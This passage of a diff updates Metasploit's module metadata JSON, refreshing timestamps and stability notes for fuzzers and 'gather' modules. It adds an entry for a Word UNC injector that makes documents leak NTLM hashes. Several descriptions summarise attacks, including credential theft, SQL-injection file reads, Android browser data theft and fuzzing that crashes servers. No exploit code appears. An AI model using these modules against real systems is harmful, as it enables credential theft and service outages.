"disclosure_date": "2018-05-01", "type": "auxiliary", @@ -18807,34 +18638,65 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2018-06-06 11:26:20 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/auxiliary/fileformat/odt_badodt.rb", "is_install_path": true, "ref_name": "fileformat/odt_badodt", "check": false, "post_auth": false, "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "actions": [] + }, + "auxiliary_fileformat/word_unc_injector": { + "name": "Microsoft Word UNC Path Injector", + "fullname": "auxiliary/fileformat/word_unc_injector", + "aliases": [ + "auxiliary/docx/word_unc_injector" + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "SphaZ " + ], + "description": "This module modifies a .docx file that will, upon opening, submit stored\n netNTLM credentials to a remote host. It can also create an empty docx file. If\n emailed the receiver needs to put the document in editing mode before the remote\n server will be contacted. Preview and read-only mode do not work. Verified to work\n with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.", + "references": [ + "URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534" + ], + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [], + "autofilter_services": [], + "targets": null, + "mod_time": "2025-04-30 18:26:15 +0000", + "path": "/modules/auxiliary/fileformat/word_unc_injector.rb", + "is_install_path": true, + "ref_name": "fileformat/word_unc_injector", + "check": false, + "post_auth": false, + "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/dns/dns_fuzzer": { "name": "DNS and DNSSEC Fuzzer", "fullname": "auxiliary/fuzzers/dns/dns_fuzzer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18842,20 +18704,14 @@ "pello " ], "description": "This module will connect to a DNS server and perform DNS and\n DNSSEC protocol-level fuzzing. Note that this module may inadvertently\n crash the target server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2019-12-07 08:01:52 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb", "is_install_path": true, "ref_name": "fuzzers/dns/dns_fuzzer", @@ -18863,19 +18719,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ftp/client_ftp": { "name": "Simple FTP Client Fuzzer", "fullname": "auxiliary/fuzzers/ftp/client_ftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18889,14 +18746,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/ftp/client_ftp.rb", "is_install_path": true, "ref_name": "fuzzers/ftp/client_ftp", @@ -18904,19 +18757,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ftp/ftp_pre_post": { "name": "Simple FTP Fuzzer", "fullname": "auxiliary/fuzzers/ftp/ftp_pre_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18925,20 +18779,14 @@ "jduck " ], "description": "This module will connect to a FTP server and perform pre- and post-authentication fuzzing", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2019-03-05 03:38:51 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb", "is_install_path": true, "ref_name": "fuzzers/ftp/ftp_pre_post", @@ -18946,19 +18794,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/http/http_form_field": { "name": "HTTP Form Field Fuzzer", "fullname": "auxiliary/fuzzers/http/http_form_field", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18966,7 +18815,7 @@ "corelanc0d3r", "Paulino Calderon " ], - "description": "This module will grab all fields from a form,\n and launch a series of POST actions, fuzzing the contents\n of the form fields. You can optionally fuzz headers too\n (option is enabled by default)", + "description": "This module will grab all fields from a form,\n and launch a series of POST actions, fuzzing the contents\n of the form fields. You can optionally fuzz headers too\n (option is enabled by default)", "references": [ "URL-http://www.corelan.be:8800/index.php/2010/11/12/metasploit-module-http-form-field-fuzzer" ], @@ -18989,7 +18838,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/http/http_form_field.rb", "is_install_path": true, "ref_name": "fuzzers/http/http_form_field", @@ -18997,19 +18846,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/http/http_get_uri_long": { "name": "HTTP GET Request URI Fuzzer (Incrementing Lengths)", "fullname": "auxiliary/fuzzers/http/http_get_uri_long", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19017,20 +18867,14 @@ "nullthreat" ], "description": "This module sends a series of HTTP GET request with incrementing URL lengths.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/http/http_get_uri_long.rb", "is_install_path": true, "ref_name": "fuzzers/http/http_get_uri_long", @@ -19038,19 +18882,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/http/http_get_uri_strings": { "name": "HTTP GET Request URI Fuzzer (Fuzzer Strings)", "fullname": "auxiliary/fuzzers/http/http_get_uri_strings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19058,20 +18903,14 @@ "nullthreat" ], "description": "This module sends a series of HTTP GET request with malicious URIs.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb", "is_install_path": true, "ref_name": "fuzzers/http/http_get_uri_strings", @@ -19079,19 +18918,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ntp/ntp_protocol_fuzzer": { "name": "NTP Protocol Fuzzer", "fullname": "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19099,20 +18939,14 @@ "Jon Hart " ], "description": "A simplistic fuzzer for the Network Time Protocol that sends the\n following probes to understand NTP and look for anomalous NTP behavior:\n\n * All possible combinations of NTP versions and modes, even if not\n allowed or specified in the RFCs\n * Short versions of the above\n * Short, invalid datagrams\n * Full-size, random datagrams\n * All possible NTP control messages\n * All possible NTP private messages\n\n This findings of this fuzzer are not necessarily indicative of bugs,\n let alone vulnerabilities, rather they point out interesting things\n that might deserve more attention. Furthermore, this module is not\n particularly intelligent and there are many more areas of NTP that\n could be explored, including:\n\n * Warn if the response is 100% identical to the request\n * Warn if the \"mode\" (if applicable) doesn't align with what we expect,\n * Filter out the 12-byte mode 6 unsupported opcode errors.\n * Fuzz the control message payload offset/size/etc. There be bugs", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2021-04-06 14:45:11 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb", "is_install_path": true, "ref_name": "fuzzers/ntp/ntp_protocol_fuzzer", @@ -19120,40 +18954,35 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb2_negotiate_corrupt": { "name": "SMB Negotiate SMB2 Dialect Corruption", "fullname": "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module sends a series of SMB negotiate requests that advertise a\n SMB2 dialect with corrupted bytes.", - "references": [ - - ], + "description": "This module sends a series of SMB negotiate requests that advertise a\n SMB2 dialect with corrupted bytes.", + "references": [], "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-08-24 21:38:44 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/smb/smb2_negotiate_corrupt", @@ -19161,29 +18990,28 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_create_pipe": { "name": "SMB Create Pipe Request Fuzzer", "fullname": "auxiliary/fuzzers/smb/smb_create_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module sends a series of SMB create pipe\n requests using malicious strings.", - "references": [ - - ], + "description": "This module sends a series of SMB create pipe\n requests using malicious strings.", + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19196,7 +19024,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb", "is_install_path": true, "ref_name": "fuzzers/smb/smb_create_pipe", @@ -19204,19 +19032,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_create_pipe_corrupt": { "name": "SMB Create Pipe Request Corruption", "fullname": "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19224,9 +19053,7 @@ "hdm " ], "description": "This module sends a series of SMB create pipe requests with corrupted bytes.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19239,7 +19066,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/smb/smb_create_pipe_corrupt", @@ -19247,19 +19074,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_negotiate_corrupt": { "name": "SMB Negotiate Dialect Corruption", "fullname": "auxiliary/fuzzers/smb/smb_negotiate_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19267,20 +19095,14 @@ "hdm " ], "description": "This module sends a series of SMB negotiate requests with corrupted bytes", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-08-24 21:38:44 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/smb/smb_negotiate_corrupt", @@ -19288,29 +19110,28 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_ntlm1_login_corrupt": { "name": "SMB NTLMv1 Login Request Corruption", "fullname": "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module sends a series of SMB login requests using\n the NTLMv1 protocol with corrupted bytes.", - "references": [ - - ], + "description": "This module sends a series of SMB login requests using\n the NTLMv1 protocol with corrupted bytes.", + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19323,7 +19144,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-07 20:22:56 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/smb/smb_ntlm1_login_corrupt", @@ -19331,29 +19152,28 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_tree_connect": { "name": "SMB Tree Connect Request Fuzzer", "fullname": "auxiliary/fuzzers/smb/smb_tree_connect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module sends a series of SMB tree connect\n requests using malicious strings.", - "references": [ - - ], + "description": "This module sends a series of SMB tree connect\n requests using malicious strings.", + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19366,7 +19186,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb", "is_install_path": true, "ref_name": "fuzzers/smb/smb_tree_connect", @@ -19374,19 +19194,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_tree_connect_corrupt": { "name": "SMB Tree Connect Request Corruption", "fullname": "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19394,9 +19215,7 @@ "hdm " ], "description": "This module sends a series of SMB tree connect requests with corrupted bytes.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19409,7 +19228,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/smb/smb_tree_connect_corrupt", @@ -19417,19 +19236,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smtp/smtp_fuzzer": { "name": "SMTP Simple Fuzzer", "fullname": "auxiliary/fuzzers/smtp/smtp_fuzzer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19456,7 +19276,7 @@ "smtps" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb", "is_install_path": true, "ref_name": "fuzzers/smtp/smtp_fuzzer", @@ -19464,19 +19284,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_kexinit_corrupt": { "name": "SSH Key Exchange Init Corruption", "fullname": "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19484,20 +19305,14 @@ "hdm " ], "description": "This module sends a series of SSH requests with a corrupted initial key exchange payload.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/ssh/ssh_kexinit_corrupt", @@ -19505,19 +19320,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_version_15": { "name": "SSH 1.5 Version Fuzzer", "fullname": "auxiliary/fuzzers/ssh/ssh_version_15", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19525,20 +19341,14 @@ "hdm " ], "description": "This module sends a series of SSH requests with malicious version strings.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb", "is_install_path": true, "ref_name": "fuzzers/ssh/ssh_version_15", @@ -19546,19 +19356,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_version_2": { "name": "SSH 2.0 Version Fuzzer", "fullname": "auxiliary/fuzzers/ssh/ssh_version_2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19566,20 +19377,14 @@ "hdm " ], "description": "This module sends a series of SSH requests with malicious version strings.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb", "is_install_path": true, "ref_name": "fuzzers/ssh/ssh_version_2", @@ -19587,19 +19392,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_version_corrupt": { "name": "SSH Version Corruption", "fullname": "auxiliary/fuzzers/ssh/ssh_version_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19607,20 +19413,14 @@ "hdm " ], "description": "This module sends a series of SSH requests with a corrupted version string", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/ssh/ssh_version_corrupt", @@ -19628,19 +19428,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/tds/tds_login_corrupt": { "name": "TDS Protocol Login Request Corruption Fuzzer", "fullname": "auxiliary/fuzzers/tds/tds_login_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19648,9 +19449,7 @@ "hdm " ], "description": "This module sends a series of malformed TDS login requests.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -19669,7 +19468,7 @@ "sybase" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb", "is_install_path": true, "ref_name": "fuzzers/tds/tds_login_corrupt", @@ -19677,19 +19476,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/tds/tds_login_username": { "name": "TDS Protocol Login Request Username Fuzzer", "fullname": "auxiliary/fuzzers/tds/tds_login_username", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19697,9 +19497,7 @@ "hdm " ], "description": "This module sends a series of malformed TDS login requests.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -19718,7 +19516,7 @@ "sybase" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-10 14:09:40 +0000", "path": "/modules/auxiliary/fuzzers/tds/tds_login_username.rb", "is_install_path": true, "ref_name": "fuzzers/tds/tds_login_username", @@ -19726,19 +19524,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/acronis_cyber_protect_machine_info_disclosure": { "name": "Acronis Cyber Protect/Backup machine info disclosure", "fullname": "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19793,16 +19592,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/adobe_coldfusion_fileread_cve_2023_26360": { "name": "Adobe ColdFusion Unauthenticated Arbitrary File Read", "fullname": "auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19848,22 +19643,16 @@ "artifacts-on-disk", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/advantech_webaccess_creds": { "name": "Advantech WebAccess 8.1 Post Authentication Credential Collector", "fullname": "auxiliary/gather/advantech_webaccess_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-01-21", "type": "auxiliary", @@ -19871,7 +19660,7 @@ "h00die", "sinn3r " ], - "description": "This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.\n Although authentication is required, any level of user permission can exploit this vulnerability.\n\n Note that 8.2 is not suitable for this.", + "description": "This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.\n Although authentication is required, any level of user permission can exploit this vulnerability.\n\n Note that 8.2 is not suitable for this.", "references": [ "CVE-2016-5810", "URL-https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229" @@ -19895,7 +19684,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/auxiliary/gather/advantech_webaccess_creds.rb", "is_install_path": true, "ref_name": "gather/advantech_webaccess_creds", @@ -19903,26 +19692,31 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/alienvault_iso27001_sqli": { "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", "fullname": "auxiliary/gather/alienvault_iso27001_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-30", "type": "auxiliary", "author": [ "Brandon Perry " ], - "description": "AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG\n generation PHP file. This module exploits this to read an arbitrary file from\n the file system. Any authenticated user is able to exploit it, as administrator\n privileges aren't required.", + "description": "AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG\n generation PHP file. This module exploits this to read an arbitrary file from\n the file system. Any authenticated user is able to exploit it, as administrator\n privileges aren't required.", "references": [ "EDB-32644" ], @@ -19945,7 +19739,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/auxiliary/gather/alienvault_iso27001_sqli.rb", "is_install_path": true, "ref_name": "gather/alienvault_iso27001_sqli", @@ -19953,26 +19747,31 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/alienvault_newpolicyform_sqli": { "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", "fullname": "auxiliary/gather/alienvault_newpolicyform_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-09", "type": "auxiliary", "author": [ "Chris Hebert " ], - "description": "AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against\n newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability\n to read an arbitrary file from the file system. Any authenticated user is able to exploit\n this, as administrator privileges are not required.", + "description": "AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against\n newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability\n to read an arbitrary file from the file system. Any authenticated user is able to exploit\n this, as administrator privileges are not required.", "references": [ "CVE-2014-5383", "OSVDB-106815", @@ -19998,7 +19797,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb", "is_install_path": true, "ref_name": "gather/alienvault_newpolicyform_sqli", @@ -20006,19 +19805,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/android_browser_file_theft": { "name": "Android Browser File Theft", "fullname": "auxiliary/gather/android_browser_file_theft", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20026,7 +19830,7 @@ "Rafay Baloch", "joev " ], - "description": "This module steals the cookie, password, and autofill databases from the\n Browser application on AOSP 4.3 and below.", + "description": "This module steals the cookie, password, and autofill databases from the\n Browser application on AOSP 4.3 and below.", "references": [ "URL-https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0", "URL-https://bugs.chromium.org/p/chromium/issues/detail?id=90222" @@ -20034,14 +19838,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": 